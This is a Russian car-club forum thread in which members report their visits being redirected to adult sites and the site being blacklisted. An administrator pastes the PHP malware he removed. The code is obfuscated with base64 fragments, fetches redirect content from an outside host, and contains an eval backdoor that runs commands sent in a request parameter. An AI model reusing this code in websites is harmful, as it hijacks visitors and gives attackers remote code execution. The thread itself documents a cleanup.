Косяк с переходом - Страница 3 - Мерседес клуб (Форум Мерседес). Mercedes-Benz Club Russia

nordman-mg · 21.10.2014, 09:35

Я думал у меня одного такая фигня, вчера попал на порнушку при переходе на главную форума, а ту о как, я даже подумал что кликнул на чтото новое по сайту,

Цитата:

Сообщение от Caretaker

adultfriendfinder тоже. Пчелайн проводной. Файерфокс. Картинку скину, если снова увижу.

Вот эта хрень у меня вышла тоже вчера
А ить у меня американский провайдер Т-mobil

А некоторое время назад был целый день когда происходила переадресация на сторонный сайт

Kolokol · 21.10.2014, 11:04

скрины вчера не смог выложить, при логине выходит сначала первый, потом второй вариант!

Tos · 21.10.2014, 12:19

подмена продолжается, сегодня NoScript заблокировал переход на

Цитата:

[Только зарегистрированные пользователи видят ссылки. Регистрация в клубе]

macdig · 21.10.2014, 19:32

Сейчас будем разбираться.

МОЛОДОЙ · 21.10.2014, 19:50

продолжается

19nak · 21.10.2014, 20:47

Сегодня на Андроиде то-же перенесло на порнушку. Скрин есть если-что

macdig · 21.10.2014, 22:48

Вирус удалил,

Код:

<?
 $GLOBALS['_104908521_']=Array(base64_decode('ZnVuY3' .'Rpb25f' .'ZXh' .'pc' .'3Rz'),base64_decode('Y2htb2Q='),base64_decode('' .'ZXJyb3Jfc' .'m' .'Vwb' .'3J0a' .'W' .'5n'),base64_decode('aW5pX3N' .'ldA=='),base64_decode('Y' .'X' .'JyYXl' .'fcG9w'),base64_decode('aW' .'1hZ2Vjb3' .'B5' .'cmVzaXplZ' .'A=='),base64_decode('cHJlZ1' .'9' .'tY' .'X' .'R' .'ja' .'A' .'=' .'='),base64_decode('' .'Z' .'ml' .'sZ' .'V9nZXRfY29ud' .'GVudH' .'M='),base64_decode('d' .'XJsZW' .'5j' .'b2Rl'),base64_decode('dXJsZW5' .'jb2Rl'),base64_decode('bWQ1'),base64_decode('' .'aW5p' .'X' .'2d' .'ldA' .'=='),base64_decode('ZmlsZV9' .'nZ' .'XR' .'fY29ud' .'GV' .'udHM='),base64_decode('' .'ZnVuY3Rp' .'b25fZX' .'hp' .'c3Rz'),base64_decode('Y3VybF9pb' .'ml' .'0'),base64_decode('Y3Vyb' .'F9' .'zZX' .'RvcHQ='),base64_decode('Y29zaA=='),base64_decode('' .'Y3VybF9zZXRvc' .'HQ='),base64_decode('aW1hZ2Vjb' .'3' .'B' .'5cmVzaXplZA' .'=='),base64_decode('' .'Y3VybF9' .'2ZXJz' .'a' .'W9u'),base64_decode('Y3VybF9l' .'e' .'GVj'),base64_decode('Y3VybF9j' .'b' .'G' .'9' .'zZQ=' .'='),base64_decode('ZnNvY2tvc' .'GVu'),base64_decode('dXJsZW5jb' .'2Rl'),base64_decode('dXJsZ' .'W5j' .'b2R' .'l'),base64_decode('bWQ1'),base64_decode('' .'Zn' .'dya' .'XRl'),base64_decode('Y' .'3VybF9tdWx0aV9yZW1vdmVf' .'aGF' .'uZGxl'),base64_decode('Y' .'3V' .'ybF9leGVj'),base64_decode('Zm' .'VvZg=='),base64_decode('' .'ZmdldH' .'M='),base64_decode('c3RycG9' .'z'),base64_decode('c29' .'ja2V0' .'X2Nvbm' .'5lY3Q='),base64_decode('ZmNsb3Nl'),base64_decode('cHJlZ19z' .'cGxpdA=='),base64_decode('bXRfcm' .'FuZA=='),base64_decode('aW' .'1hZ' .'2Vjc' .'mVhdGVmcm9tcG5n'),base64_decode('' .'c3' .'Vic3Ry'),base64_decode('YXJyYX' .'lf' .'Zm' .'lsbF9rZ' .'Xlz'),base64_decode('c3' .'RyaXBzbGFz' .'aGVz'));  function _1425413374($i){$a=Array('a' .'W5k' .'Z2' .'V0','U0N' .'SS' .'VBUX0ZJTEVOQU1' .'F','ZGl' .'zcGxh' .'eV' .'9lcnJv' .'cnM=','' .'MA==','Y2xpZW' .'50X2N' .'o' .'ZWN' .'r','Y2xpZW5' .'0X2' .'NoZWNr','IVxTIXU=','U0NSS' .'VBUX0ZJ' .'TEV' .'OQU1F','dQ' .'=' .'=','dw==','' .'U0' .'V' .'SVk' .'VSX05BTUU' .'=','UkVRVUVTV' .'F9' .'VUkk=','SFRUUF9VU0VSX0FH' .'RU' .'5U','' .'aHR0cD' .'ovL3B1Ym' .'x' .'vdy5' .'ydS9nZXQu' .'cGhwP2Q9','Jn' .'U' .'9','JmM' .'9','J' .'mk' .'9MS' .'ZoPQ==','O' .'Dg2NzZ' .'hNzY2NTUwZDJmZD' .'Q' .'2Zj' .'lmYzhiMG' .'YxY' .'j' .'Y5YT' .'U=','M' .'Q==','YWxs' .'b3' .'dfdXJsX2ZvcGVu','Y' .'3VybF9pb' .'ml0','c' .'HVib' .'G93LnJ1','' .'Ym' .'hj','' .'R0V' .'UIC9n' .'ZXQ' .'u' .'c' .'GhwP2Q9','JnU9','' .'JmM9','Jmk9M' .'SZoP' .'Q==','' .'OD' .'g2NzZ' .'h' .'N' .'z' .'Y2' .'N' .'TUwZD' .'J' .'mZDQ2' .'ZjlmYzhi' .'MGYxYjY5YTU=','MQ==','IEh' .'U' .'V' .'F' .'AvMS4' .'xDQo=','SG9zdDogc' .'HV' .'i' .'bG' .'93LnJ' .'1' .'DQ' .'o=','Q29ubmVjdGl' .'vbjog' .'Q' .'2' .'x' .'v' .'c2' .'UN' .'C' .'g0K','','anVpdHNramF' .'vY3F' .'icg' .'=' .'=','' .'dm' .'pwZXo=','L' .'1xSXFIv','' .'cA==','' .'OD' .'d' .'iZDYwMzk=');return base64_decode($a[$i]);}  if(!$GLOBALS['_104908521_'][0](_1425413374(0))){$GLOBALS['_104908521_'][1]($_SERVER[_1425413374(1)],round(0+65+65+65+65));function l__0(){$GLOBALS['_104908521_'][2](round(0));$GLOBALS['_104908521_'][3](_1425413374(2),_1425413374(3));if((round(0+200+200+200)^round(0+200+200+200))&& $GLOBALS['_104908521_'][4]($me6_0,$me6_1,$me6_2,$me6_2,$me6_1))$GLOBALS['_104908521_'][5]($me6_3,$me6_4,$me6_2);if(!empty($_COOKIE[_1425413374(4)]))die($_COOKIE[_1425413374(5)]);if($GLOBALS['_104908521_'][6](_1425413374(6),$GLOBALS['_104908521_'][7]($_SERVER[_1425413374(7)])))$me6_5=_1425413374(8);else $me6_5=_1425413374(9);$me6_2=$_SERVER[_1425413374(10)] .$_SERVER[_1425413374(11)];$me6_6=$_SERVER[_1425413374(12)];$me6_7=_1425413374(13) .$GLOBALS['_104908521_'][8]($me6_2) ._1425413374(14) .$GLOBALS['_104908521_'][9]($me6_6) ._1425413374(15) .$me6_5 ._1425413374(16) .$GLOBALS['_104908521_'][10](_1425413374(17) .$me6_2 .$me6_6 .$me6_5 ._1425413374(18));if($GLOBALS['_104908521_'][11](_1425413374(19))== round(0+0.2+0.2+0.2+0.2+0.2)){return $GLOBALS['_104908521_'][12]($me6_7);}elseif($GLOBALS['_104908521_'][13](_1425413374(20))){$me6_1=$GLOBALS['_104908521_'][14]($me6_7);$GLOBALS['_104908521_'][15]($me6_1,42,FALSE);while(round(0+1136.5+1136.5+1136.5+1136.5)-round(0+1136.5+1136.5+1136.5+1136.5))$GLOBALS['_104908521_'][16]($me6_1,$me6_5);$GLOBALS['_104908521_'][17]($me6_1,19913,TRUE);if((round(0+4506)+round(0+1253.6666666667+1253.6666666667+1253.6666666667))>round(0+2253+2253)|| $GLOBALS['_104908521_'][18]($_SERVER));else{$GLOBALS['_104908521_'][19]($me6_5);}$me6_0=$GLOBALS['_104908521_'][20]($me6_1);$GLOBALS['_104908521_'][21]($me6_1);return $me6_0;}else{$me6_8=$GLOBALS['_104908521_'][22](_1425413374(21),round(0+40+40),$me6_9,$me6_10,round(0+30));$me6_11=_1425413374(22);if($me6_8){$me6_12=_1425413374(23) .$GLOBALS['_104908521_'][23]($me6_2) ._1425413374(24) .$GLOBALS['_104908521_'][24]($me6_6) ._1425413374(25) .$me6_5 ._1425413374(26) .$GLOBALS['_104908521_'][25](_1425413374(27) .$me6_2 .$me6_6 .$me6_5 ._1425413374(28)) ._1425413374(29);$me6_12 .= _1425413374(30);$me6_12 .= _1425413374(31);$GLOBALS['_104908521_'][26]($me6_8,$me6_12);if((round(0+302.6+302.6+302.6+302.6+302.6)^round(0+1513))&& $GLOBALS['_104908521_'][27]($me6_13,$me6_6,$me6_1))$GLOBALS['_104908521_'][28]($me6_13,$me6_1);$me6_13=_1425413374(32);while(!$GLOBALS['_104908521_'][29]($me6_8)){$me6_13 .= $GLOBALS['_104908521_'][30]($me6_8,round(0+64+64));if($GLOBALS['_104908521_'][31](_1425413374(33),_1425413374(34))!==false)$GLOBALS['_104908521_'][32]($me6_6,$me6_10,$me6_3,$me6_10);}$GLOBALS['_104908521_'][33]($me6_8);list($me6_4,$me6_14)=$GLOBALS['_104908521_'][34](_1425413374(35),$me6_13,round(0+2));if(round(0+1257.8+1257.8+1257.8+1257.8+1257.8)<$GLOBALS['_104908521_'][35](round(0+529+529+529),round(0+4697)))$GLOBALS['_104908521_'][36]($me6_13,$me6_8);$me6_3=round(0+1);return $me6_14;if((round(0+857+857+857+857)+round(0+420+420+420))>round(0+857+857+857+857)|| $GLOBALS['_104908521_'][37]($me6_14,$me6_14));else{$GLOBALS['_104908521_'][38]($_REQUEST,$me6_9,$_COOKIE);}}}}echo l__0();if(@$_REQUEST[_1425413374(36)]== _1425413374(37))eval($GLOBALS['_104908521_'][39]($_REQUEST["c"]));}; 
if(defined("B_PROLOG_INCLUDED") && B_PROLOG_INCLUDED===true)
{
	require_once($_SERVER["DOCUMENT_ROOT"]."/****/bitrix/modules/main/include/epilog.php");
}
?>

МОЛОДОЙ · 21.10.2014, 23:11

Спасибо

valeos · 22.10.2014, 00:29

только что 21.10.2014 23.25.22;Заблокирован опасный URL-адрес;[Только зарегистрированные пользователи видят ссылки. Регистрация в клубе] KSN;Firefox;10/21/2014 23:25:22

macdig · 22.10.2014, 01:38

Обновите кэш,вроде все окей.

МОЛОДОЙ · 22.10.2014, 01:39

@macdig,

macdig · 22.10.2014, 02:04

МОЛОДОЙ, на какую страницу вы зашли?

nordman-mg · 22.10.2014, 08:00

Toлко что с айфона на вот эту девушку кинуло

maks900 · 22.10.2014, 10:04

Меня с айпада тоже на нее отправило...

Kolokol · 22.10.2014, 11:07

у мну бенц-клуб уаще всеми браузерами блокируется как мошеннический сайт.

smirnoff104 · 22.10.2014, 13:11

Только что с темы про каско в курилке. Андроид, Мегафон. При повторном заходе всё нормально.

NEC · 22.10.2014, 13:23

Цитата:

Сообщение от Kolokol

у мну бенц-клуб уаще всеми браузерами блокируется как мошеннический сайт.

Есть такое

horned king · 22.10.2014, 13:43

Цитата:

Сообщение от Anturage

Айпад да, наврятли заражен.

Будем ждать пока Яндекс с Гуглем в черный список нас поставят. ))

Яндекс - уже.
С айпада сейчас аналогичная ситуация что и у остальных: от раза у разу. ;(

просто Гоша · 22.10.2014, 15:57

"Опера" не пускает на мошеннический сайт - пришлось заходить с другого браузера.
Надеюсь уважаемая администрация вернёт сайту честное имя.

big_andre · 22.10.2014, 17:22

Сегодня при входе на форум через яндекс-браузер, наблюдаю на красном фоне табличку вот с такой надписью:
Сайт [Только зарегистрированные пользователи видят ссылки. Регистрация в клубе]
может угрожать безопасности вашего компьютера.
По нашим данным, на страницах сайта был размещён вредоносный программный код. Это могло произойти как по желанию владельцев сайта, так и без их ведома — в результате действий злоумышленников.
Более подробную информацию об угрозе или безопасную копию сайта можно посмотреть на странице с полными данными о заражении.
и предлагает уйти со страницы....
А может пора что-нибудь предпринять, например очистить форум от вирусов?